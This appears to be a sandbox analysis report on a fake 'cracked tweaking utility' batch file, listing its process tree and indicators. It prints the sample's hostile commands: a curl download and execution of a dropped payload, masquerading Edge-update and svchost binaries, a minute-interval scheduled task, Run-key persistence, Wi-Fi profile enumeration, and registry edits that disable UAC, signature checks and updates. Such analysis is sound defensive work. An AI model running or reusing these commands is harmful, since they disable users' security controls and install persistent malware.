powershell.exeWMIC.exepowershell.exeMicrosoftEdgeUpdate.exesvchost.exeMicrosoftEdgeUpdate.exepowershell.exeWub.exeTiWorker.exe

description	pid	process
Token: SeDebugPrivilege	1004	powershell.exe
Token: SeIncreaseQuotaPrivilege	2912	WMIC.exe
Token: SeSecurityPrivilege	2912	WMIC.exe
Token: SeTakeOwnershipPrivilege	2912	WMIC.exe
Token: SeLoadDriverPrivilege	2912	WMIC.exe
Token: SeSystemProfilePrivilege	2912	WMIC.exe
Token: SeSystemtimePrivilege	2912	WMIC.exe
Token: SeProfSingleProcessPrivilege	2912	WMIC.exe
Token: SeIncBasePriorityPrivilege	2912	WMIC.exe
Token: SeCreatePagefilePrivilege	2912	WMIC.exe
Token: SeBackupPrivilege	2912	WMIC.exe
Token: SeRestorePrivilege	2912	WMIC.exe
Token: SeShutdownPrivilege	2912	WMIC.exe
Token: SeDebugPrivilege	2912	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2912	WMIC.exe
Token: SeRemoteShutdownPrivilege	2912	WMIC.exe
Token: SeUndockPrivilege	2912	WMIC.exe
Token: SeManageVolumePrivilege	2912	WMIC.exe
Token: 33	2912	WMIC.exe
Token: 34	2912	WMIC.exe
Token: 35	2912	WMIC.exe
Token: 36	2912	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2912	WMIC.exe
Token: SeSecurityPrivilege	2912	WMIC.exe
Token: SeTakeOwnershipPrivilege	2912	WMIC.exe
Token: SeLoadDriverPrivilege	2912	WMIC.exe
Token: SeSystemProfilePrivilege	2912	WMIC.exe
Token: SeSystemtimePrivilege	2912	WMIC.exe
Token: SeProfSingleProcessPrivilege	2912	WMIC.exe
Token: SeIncBasePriorityPrivilege	2912	WMIC.exe
Token: SeCreatePagefilePrivilege	2912	WMIC.exe
Token: SeBackupPrivilege	2912	WMIC.exe
Token: SeRestorePrivilege	2912	WMIC.exe
Token: SeShutdownPrivilege	2912	WMIC.exe
Token: SeDebugPrivilege	2912	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2912	WMIC.exe
Token: SeRemoteShutdownPrivilege	2912	WMIC.exe
Token: SeUndockPrivilege	2912	WMIC.exe
Token: SeManageVolumePrivilege	2912	WMIC.exe
Token: 33	2912	WMIC.exe
Token: 34	2912	WMIC.exe
Token: 35	2912	WMIC.exe
Token: 36	2912	WMIC.exe
Token: SeDebugPrivilege	792	powershell.exe
Token: SeDebugPrivilege	1212	MicrosoftEdgeUpdate.exe
Token: SeDebugPrivilege	4764	svchost.exe
Token: SeDebugPrivilege	1212	MicrosoftEdgeUpdate.exe
Token: SeDebugPrivilege	3320	MicrosoftEdgeUpdate.exe
Token: SeDebugPrivilege	3888	powershell.exe
Token: SeRestorePrivilege	1344	Wub.exe
Token: SeTakeOwnershipPrivilege	1344	Wub.exe
Token: SeDebugPrivilege	1344	Wub.exe
Token: SeSecurityPrivilege	1344	Wub.exe
Token: SeSecurityPrivilege	1016	TiWorker.exe
Token: SeRestorePrivilege	1016	TiWorker.exe
Token: SeBackupPrivilege	1016	TiWorker.exe
Token: SeBackupPrivilege	1016	TiWorker.exe
Token: SeRestorePrivilege	1016	TiWorker.exe
Token: SeSecurityPrivilege	1016	TiWorker.exe
Token: SeBackupPrivilege	1016	TiWorker.exe
Token: SeRestorePrivilege	1016	TiWorker.exe
Token: SeSecurityPrivilege	1016	TiWorker.exe
Token: SeBackupPrivilege	1016	TiWorker.exe
Token: SeRestorePrivilege	1016	TiWorker.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

MicrosoftEdgeUpdate.exe

pid process

1212 MicrosoftEdgeUpdate.exe

pid	process
1212	MicrosoftEdgeUpdate.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.execmd.exeEXMservice.exeMicrosoftEdgeUpdate.exesvchost.execmd.execmd.exe

description	pid	process	target process
PID 664 wrote to memory of 4324	664	cmd.exe	reg.exe
PID 664 wrote to memory of 4324	664	cmd.exe	reg.exe
PID 664 wrote to memory of 3288	664	cmd.exe	reg.exe
PID 664 wrote to memory of 3288	664	cmd.exe	reg.exe
PID 664 wrote to memory of 1752	664	cmd.exe	reg.exe
PID 664 wrote to memory of 1752	664	cmd.exe	reg.exe
PID 664 wrote to memory of 1004	664	cmd.exe	powershell.exe
PID 664 wrote to memory of 1004	664	cmd.exe	powershell.exe
PID 664 wrote to memory of 2532	664	cmd.exe	reg.exe
PID 664 wrote to memory of 2532	664	cmd.exe	reg.exe
PID 664 wrote to memory of 2588	664	cmd.exe	reg.exe
PID 664 wrote to memory of 2588	664	cmd.exe	reg.exe
PID 664 wrote to memory of 2960	664	cmd.exe	cmd.exe
PID 664 wrote to memory of 2960	664	cmd.exe	cmd.exe
PID 2960 wrote to memory of 2912	2960	cmd.exe	WMIC.exe
PID 2960 wrote to memory of 2912	2960	cmd.exe	WMIC.exe
PID 2960 wrote to memory of 4192	2960	cmd.exe	findstr.exe
PID 2960 wrote to memory of 4192	2960	cmd.exe	findstr.exe
PID 664 wrote to memory of 2520	664	cmd.exe	chcp.com
PID 664 wrote to memory of 2520	664	cmd.exe	chcp.com
PID 664 wrote to memory of 440	664	cmd.exe	chcp.com
PID 664 wrote to memory of 440	664	cmd.exe	chcp.com
PID 664 wrote to memory of 2524	664	cmd.exe	curl.exe
PID 664 wrote to memory of 2524	664	cmd.exe	curl.exe
PID 664 wrote to memory of 792	664	cmd.exe	powershell.exe
PID 664 wrote to memory of 792	664	cmd.exe	powershell.exe
PID 664 wrote to memory of 3116	664	cmd.exe	EXMservice.exe
PID 664 wrote to memory of 3116	664	cmd.exe	EXMservice.exe
PID 3116 wrote to memory of 1212	3116	EXMservice.exe	MicrosoftEdgeUpdate.exe
PID 3116 wrote to memory of 1212	3116	EXMservice.exe	MicrosoftEdgeUpdate.exe
PID 3116 wrote to memory of 4764	3116	EXMservice.exe	svchost.exe
PID 3116 wrote to memory of 4764	3116	EXMservice.exe	svchost.exe
PID 3116 wrote to memory of 4764	3116	EXMservice.exe	svchost.exe
PID 664 wrote to memory of 2172	664	cmd.exe	chcp.com
PID 664 wrote to memory of 2172	664	cmd.exe	chcp.com
PID 1212 wrote to memory of 4628	1212	MicrosoftEdgeUpdate.exe	schtasks.exe
PID 1212 wrote to memory of 4628	1212	MicrosoftEdgeUpdate.exe	schtasks.exe
PID 4764 wrote to memory of 2028	4764	svchost.exe	cmd.exe
PID 4764 wrote to memory of 2028	4764	svchost.exe	cmd.exe
PID 4764 wrote to memory of 2028	4764	svchost.exe	cmd.exe
PID 2028 wrote to memory of 1536	2028	cmd.exe	chcp.com
PID 2028 wrote to memory of 1536	2028	cmd.exe	chcp.com
PID 2028 wrote to memory of 1536	2028	cmd.exe	chcp.com
PID 2028 wrote to memory of 240	2028	cmd.exe	netsh.exe
PID 2028 wrote to memory of 240	2028	cmd.exe	netsh.exe
PID 2028 wrote to memory of 240	2028	cmd.exe	netsh.exe
PID 2028 wrote to memory of 4928	2028	cmd.exe	findstr.exe
PID 2028 wrote to memory of 4928	2028	cmd.exe	findstr.exe
PID 2028 wrote to memory of 4928	2028	cmd.exe	findstr.exe
PID 4764 wrote to memory of 5108	4764	svchost.exe	cmd.exe
PID 4764 wrote to memory of 5108	4764	svchost.exe	cmd.exe
PID 4764 wrote to memory of 5108	4764	svchost.exe	cmd.exe
PID 5108 wrote to memory of 3704	5108	cmd.exe	chcp.com
PID 5108 wrote to memory of 3704	5108	cmd.exe	chcp.com
PID 5108 wrote to memory of 3704	5108	cmd.exe	chcp.com
PID 5108 wrote to memory of 4528	5108	cmd.exe	netsh.exe
PID 5108 wrote to memory of 4528	5108	cmd.exe	netsh.exe
PID 5108 wrote to memory of 4528	5108	cmd.exe	netsh.exe
PID 664 wrote to memory of 4808	664	cmd.exe	timeout.exe
PID 664 wrote to memory of 4808	664	cmd.exe	timeout.exe
PID 664 wrote to memory of 864	664	cmd.exe	reg.exe
PID 664 wrote to memory of 864	664	cmd.exe	reg.exe
PID 664 wrote to memory of 1332	664	cmd.exe	reg.exe
PID 664 wrote to memory of 1332	664	cmd.exe	reg.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\EXM_Premium_Tweaking_Utility_1.0_Cracked.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:664
- C:\Windows\system32\reg.exe
  Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "RPSessionInterval" /f
  2⤵
  PID:4324
- C:\Windows\system32\reg.exe
  Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "DisableConfig" /f
  2⤵
  PID:3288
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "SystemRestorePointCreationFrequency" /t REG_DWORD /d 0 /f
  2⤵
  PID:1752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Unrestricted -NoProfile Enable-ComputerRestore -Drive 'C:\'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1004
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
  2⤵
  - UAC bypass
  PID:2532
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\CONSOLE" /v "VirtualTerminalLevel" /t REG_DWORD /d "1" /f
  2⤵
  PID:2588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic path Win32_UserAccount where name="Admin" get sid | findstr "S-"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2960
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path Win32_UserAccount where name="Admin" get sid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2912
- - C:\Windows\system32\findstr.exe
    findstr "S-"
    3⤵
    PID:4192
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:2520
- C:\Windows\system32\chcp.com
  chcp 437
  2⤵
  PID:440
- C:\Windows\system32\curl.exe
  curl -g -k -L -# -o "C:\Users\Admin\AppData\Local\Temp\exm.zip" "https://github.com/anonyketa/EXM-Tweaking-Utility-Premium/releases/download/V1.0/exm.zip"
  2⤵
  PID:2524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile Expand-Archive 'C:\Users\Admin\AppData\Local\Temp\exm.zip' -DestinationPath 'C:\Exm\'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:792
- C:\exm\EXMservice.exe
  EXMservice.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3116
- - C:\Users\Admin\AppData\Local\MicrosoftEdgeUpdate.exe
    "C:\Users\Admin\AppData\Local\MicrosoftEdgeUpdate.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1212
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "MicrosoftEdgeUpdate" /tr "C:\ProgramData\MicrosoftEdgeUpdate.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4628
- - C:\Users\Admin\AppData\Local\svchost.exe
    "C:\Users\Admin\AppData\Local\svchost.exe"
    3⤵
    - Executes dropped EXE
    - Drops desktop.ini file(s)
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4764
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Wi-Fi Discovery
      Suspicious use of WriteProcessMemory
      PID:2028
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1536
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:240
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr All
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4928
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5108
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3704
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:4528
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:2172
- C:\Windows\system32\timeout.exe
  timeout 2
  2⤵
  - Delays execution with timeout.exe
  PID:4808
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableVirtualization" /t REG_DWORD /d "0" /f
  2⤵
  PID:864
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableInstallerDetection" /t REG_DWORD /d "0" /f
  2⤵
  - Hijack Execution Flow: Executable Installer File Permissions Weakness
  PID:1332
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t REG_DWORD /d "0" /f
  2⤵
  - UAC bypass
  PID:1572
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
  2⤵
  - UAC bypass
  PID:2668
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableSecureUIAPaths" /t REG_DWORD /d "0" /f
  2⤵
  PID:4516
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "0" /f
  2⤵
  - UAC bypass
  PID:1488
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "ValidateAdminCodeSignatures" /t REG_DWORD /d "0" /f
  2⤵
  PID:4464
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableUIADesktopToggle" /t REG_DWORD /d "0" /f
  2⤵
  PID:1864
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorUser" /t REG_DWORD /d "0" /f
  2⤵
  - UAC bypass
  PID:1084
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "FilterAdministratorToken" /t REG_DWORD /d "0" /f
  2⤵
  PID:4072
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableVirtualization" /t REG_DWORD /d "0" /f
  2⤵
  PID:960
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableInstallerDetection" /t REG_DWORD /d "0" /f
  2⤵
  - Hijack Execution Flow: Executable Installer File Permissions Weakness
  PID:2900
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t REG_DWORD /d "0" /f
  2⤵
  - UAC bypass
  PID:324
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
  2⤵
  - UAC bypass
  PID:3732
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableSecureUIAPaths" /t REG_DWORD /d "0" /f
  2⤵
  PID:4116
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "0" /f
  2⤵
  - UAC bypass
  PID:3396
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "ValidateAdminCodeSignatures" /t REG_DWORD /d "0" /f
  2⤵
  PID:3504
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableUIADesktopToggle" /t REG_DWORD /d "0" /f
  2⤵
  PID:1996
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorUser" /t REG_DWORD /d "0" /f
  2⤵
  - UAC bypass
  PID:4364
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "FilterAdministratorToken" /t REG_DWORD /d "0" /f
  2⤵
  PID:1052
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Microsoft\FTH" /v "Enabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:4856
- C:\Windows\system32\reg.exe
  Reg.exe delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\MicrosoftEdgeUpdateTaskMachineCore" /f
  2⤵
  PID:4732
- C:\Windows\system32\reg.exe
  Reg.exe delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\MicrosoftEdgeUpdateTaskMachineUA" /f
  2⤵
  PID:4704
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Policies\Google\Chrome" /v "StartupBoostEnabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:3792
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Policies\Google\Chrome" /v "BackgroundModeEnabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:4384
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\DWM" /v "UseDpiScaling" /t REG_DWORD /d "0" /f
  2⤵
  PID:5036
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Software\Microsoft\Multimedia\Audio" /v "UserDuckingPreference" /t REG_DWORD /d "3" /f
  2⤵
  PID:2448
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\BootAnimation" /v "DisableStartupSound" /t REG_DWORD /d "1" /f
  2⤵
  PID:3476
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Control Panel\Mouse" /v "MouseSpeed" /t REG_SZ /d "0" /f
  2⤵
  PID:2936
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Control Panel\Mouse" /v "MouseThreshold1" /t REG_SZ /d "0" /f
  2⤵
  PID:424
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Control Panel\Mouse" /v "MouseThreshold2" /t REG_SZ /d "0" /f
  2⤵
  PID:3168
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ctfmon" /t REG_SZ /d "C:\Windows\System32\ctfmon.exe" /f
  2⤵
  - Adds Run key to start application
  PID:1952
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\VideoSettings" /v "VideoQualityOnBattery" /t REG_DWORD /d "1" /f
  2⤵
  PID:5040
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "IconsOnly" /t REG_DWORD /d "0" /f
  2⤵
  PID:4232
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ListviewShadow" /t REG_DWORD /d "0" /f
  2⤵
  PID:4252
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Policies\Microsoft\Windows\DataCollection" /v "AllowTelemetry" /t REG_DWORD /d "0" /f
  2⤵
  PID:232
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection" /v "AllowTelemetry" /t REG_DWORD /d "0" /f
  2⤵
  PID:2784
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows\DataCollection" /v "AllowDeviceNameInTelemetry" /t REG_DWORD /d "0" /f
  2⤵
  PID:4360
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Policies\Microsoft\Windows\safer\codeidentifiers" /v "authenticodeenabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:3184
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Policies\Microsoft\Windows\Windows Error Reporting" /v "DontSendAdditionalData" /t REG_DWORD /d "1" /f
  2⤵
  PID:4928
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\DataCollection" /v "AllowTelemetry" /t REG_DWORD /d "0" /f
  2⤵
  PID:1184
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Speech_OneCore\Settings\OnlineSpeechPrivacy" /v "HasAccepted" /t REG_DWORD /d "0" /f
  2⤵
  PID:4984
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Personalization\Settings" /v "AcceptedPrivacyPolicy" /t REG_DWORD /d "0" /f
  2⤵
  PID:4052
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\InputPersonalization" /v "RestrictImplicitInkCollection" /t REG_DWORD /d "1" /f
  2⤵
  PID:2240
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\InputPersonalization" /v "RestrictImplicitTextCollection" /t REG_DWORD /d "1" /f
  2⤵
  PID:3800
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\InputPersonalization\TrainedDataStore" /v "HarvestContacts" /t REG_DWORD /d "0" /f
  2⤵
  PID:564
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows\DataCollection" /v "AllowTelemetry" /t REG_DWORD /d "0" /f
  2⤵
  PID:5096
- C:\Windows\system32\reg.exe
  Reg.exe add "HKU\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Settings" /v "DownloadMode" /t REG_DWORD /d "0" /f
  2⤵
  - Modifies data under HKEY_USERS
  PID:240
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Control Panel\International\User Profile" /v "HttpAcceptLanguageOptOut" /t REG_DWORD /d "1" /f
  2⤵
  PID:2184
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverSearching" /v "SearchOrderConfig" /t REG_DWORD /d "0" /f
  2⤵
  PID:2244
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Device Metadata" /v "PreventDeviceMetadataFromNetwork" /t REG_DWORD /d "1" /f
  2⤵
  PID:1536
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t REG_DWORD /d "1" /f
  2⤵
  PID:752
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Software\Microsoft\Windows\DWM" /v "EnableAeroPeek" /t REG_DWORD /d "0" /f
  2⤵
  PID:900
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\location" /v "Value" /t REG_SZ /d "Deny" /f
  2⤵
  PID:3832
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\appDiagnostics" /v "Value" /t REG_SZ /d "Deny" /f
  2⤵
  PID:4036
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\userAccountInformation" /v "Value" /t REG_SZ /d "Deny" /f
  2⤵
  PID:968
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" /v "SilentInstalledAppsEnabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:1968
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" /v "SystemPaneSuggestionsEnabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:3132
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" /v "SoftLandingEnabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:1476
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" /v "RotatingLockScreenEnabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:3292
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "PublishUserActivities" /t REG_DWORD /d "0" /f
  2⤵
  PID:1020
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "UploadUserActivities" /t REG_DWORD /d "0" /f
  2⤵
  PID:4780
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\BackgroundAccessApplications" /v "GlobalUserDisabled" /t REG_DWORD /d "1" /f
  2⤵
  PID:3468
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Search" /v "BackgroundAppGlobalToggle" /t REG_DWORD /d "0" /f
  2⤵
  PID:4816
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config" /v "DownloadMode" /t REG_DWORD /d "0" /f
  2⤵
  PID:3516
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" /v "ToastEnabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:4388
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v "NOC_GLOBAL_SETTING_ALLOW_NOTIFICATION_SOUND" /t REG_DWORD /d "0" /f
  2⤵
  PID:2912
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v "NOC_GLOBAL_SETTING_ALLOW_CRITICAL_TOASTS_ABOVE_LOCK" /t REG_DWORD /d "0" /f
  2⤵
  PID:4548
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\QuietHours" /v "Enabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:1044
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\windows.immersivecontrolpanel_cw5n1h2txyewymicrosoft.windows.immersivecontrolpanel" /v "Enabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:4028
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.AutoPlay" /v "Enabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:1284
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.LowDisk" /v "Enabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:868
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.Print.Notification" /v "Enabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:1812
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:1920
- C:\Windows\system32\reg.exe
